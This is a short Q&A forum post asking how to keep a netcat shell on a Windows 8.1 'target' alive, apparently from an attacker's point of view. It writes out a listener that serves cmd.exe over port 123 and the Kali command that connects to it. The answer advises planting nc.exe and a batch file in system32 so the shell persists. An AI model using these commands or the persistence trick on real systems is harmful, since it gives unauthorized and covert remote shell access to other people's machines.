How to keep the reverse shell open in Netcat?

Question

As soon as the command prompt is closed on the target machine the reverse shell is closed on the client machine. Is there any way to keep the port open and Netcat working after the target machine closes the command prompt with Netcat, so that I can keep using the reverse shell on the attacking machine? On target machine: Windows 8.1.

nc -Lp 123 -vv -e cmd.exe

On the client side(Kali Linux).

nc <ip> 123

Answer 1

The solution is to put nc.exe in system32, and to create a batch file with the nc command you want to run and place in in system32 as well.